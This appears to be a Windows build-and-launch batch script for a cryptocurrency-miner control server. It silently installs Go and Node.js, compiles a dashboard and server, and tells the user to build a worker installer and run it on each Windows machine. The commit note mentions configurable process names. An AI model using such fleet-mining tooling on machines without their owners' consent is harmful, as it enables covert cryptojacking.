Files
AetherForge/run.bat
drjones f7d6dcf542 Upgrade dashboard, builder, and agent resource controls.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
2026-05-26 23:26:39 -07:00

195 lines
7.0 KiB
Batchfile

@echo off
title Crypto Miner Control Server
cd /d "%~dp0"
echo.
echo ╔══════════════════════════════════════════════════╗
echo ║ Crypto Miner Control Server Builder ║
echo ╚══════════════════════════════════════════════════╝
echo.
:: ============================================================
:: STEP 1: Auto-install Go if missing
:: ============================================================
echo [1/5] Checking dependencies...
where go >nul 2>nul
if %ERRORLEVEL% neq 0 (
echo Go not found. Downloading and installing Go...
:: Detect architecture
if "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set GO_ARCH=amd64
) else (
set GO_ARCH=386
)
set GO_VERSION=1.22.2
set GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi
set GO_MSI=%TEMP%\go-installer.msi
echo Downloading Go %GO_VERSION% for Windows %GO_ARCH%...
echo (This may take a moment...)
:: Download using PowerShell (built into Windows)
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
if %ERRORLEVEL% neq 0 (
echo ERROR: Failed to download Go installer.
echo Please manually download from: https://go.dev/dl/
pause
exit /b 1
)
echo Installing Go (this may require administrator privileges)...
msiexec /i "%GO_MSI%" /quiet /norestart
if %ERRORLEVEL% neq 0 (
echo ERROR: Failed to install Go. Try running as Administrator.
pause
exit /b 1
)
:: Clean up installer
del "%GO_MSI%" 2>nul
:: Add Go to PATH for this session
set PATH=%PATH%;C:\Program Files\Go\bin
set PATH=%PATH%;%USERPROFILE%\go\bin
echo Go installed successfully!
) else (
echo Go found:
call go version
)
:: ============================================================
:: STEP 2: Auto-install Node.js if missing (for frontend)
:: ============================================================
where node >nul 2>nul
if %ERRORLEVEL% neq 0 (
echo Node.js not found. Downloading and installing Node.js...
set NODE_VERSION=20.12.2
set NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi
set NODE_MSI=%TEMP%\node-installer.msi
echo Downloading Node.js v%NODE_VERSION%...
echo (This may take a moment...)
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
if %ERRORLEVEL% neq 0 (
echo WARNING: Failed to download Node.js. Frontend will not be built.
echo You can manually download from: https://nodejs.org/
set SKIP_FRONTEND=1
) else (
echo Installing Node.js (this may require administrator privileges)...
msiexec /i "%NODE_MSI%" /quiet /norestart
if %ERRORLEVEL% neq 0 (
echo WARNING: Failed to install Node.js. Frontend will not be built.
set SKIP_FRONTEND=1
) else (
:: Add Node to PATH for this session
set PATH=%PATH%;C:\Program Files\nodejs
del "%NODE_MSI%" 2>nul
echo Node.js installed successfully!
)
)
) else (
echo Node.js found:
call node --version
)
:: ============================================================
:: STEP 3: Create data directories
:: ============================================================
echo [2/5] Creating data directories...
if not exist "data\builds" mkdir "data\builds"
if not exist "data\logs" mkdir "data\logs"
echo Done.
:: ============================================================
:: STEP 4: Build frontend
:: ============================================================
if "%SKIP_FRONTEND%"=="" (
echo [3/5] Building frontend dashboard...
cd server\web
if not exist "node_modules" (
echo Installing npm dependencies...
call npm install
)
call npm run build
if %ERRORLEVEL% neq 0 (
echo WARNING: Frontend build failed, server will run without dashboard.
) else (
echo Frontend built: server\web\dist
)
cd ..\..
:: Copy frontend dist to server's webroot directory
if exist "server\web\dist" (
if not exist "server\webroot" mkdir "server\webroot"
xcopy /E /I /Y "server\web\dist\*" "server\webroot\" >nul
echo Frontend files copied to server\webroot
)
) else (
echo [3/5] Skipping frontend build (Node.js not available)
)
:: ============================================================
:: STEP 5: Build server
:: ============================================================
echo [4/5] Building server...
cd server
:: Download Go module dependencies
echo Downloading Go dependencies...
go mod download
if %ERRORLEVEL% neq 0 (
echo WARNING: go mod download failed, trying build anyway...
)
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if %ERRORLEVEL% neq 0 (
echo ERROR: Build failed
pause
exit /b 1
)
cd ..
echo Server built: bin\miner-server.exe
:: ============================================================
:: LAUNCH
:: ============================================================
echo [5/5] Starting server on port 8989...
echo.
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I
if not defined LAN_IP set LAN_IP=localhost
echo.
echo ╔══════════════════════════════════════════════════╗
echo ║ Crypto Miner Control Server ║
echo ║ ║
echo ║ Dashboard: http://%LAN_IP%:8989 ║
echo ║ Local: http://localhost:8989 ║
echo ║ WebSocket: ws://%LAN_IP%:8989/ws/agent ║
echo ║ ║
echo ║ 1. Open dashboard on your LAN ║
echo ║ 2. Configure Settings ║
echo ║ 3. Build install-{worker}.exe in Builder ║
echo ║ 4. Run that exe once on each Windows machine ║
echo ║ ║
echo ║ Data: %CD%\data\ ║
echo ║ Press Ctrl+C to stop the server ║
echo ╚══════════════════════════════════════════════════╝
echo.
start http://localhost:8989
:: Run server
.\bin\miner-server.exe -port 8989 -data ".\data"
pause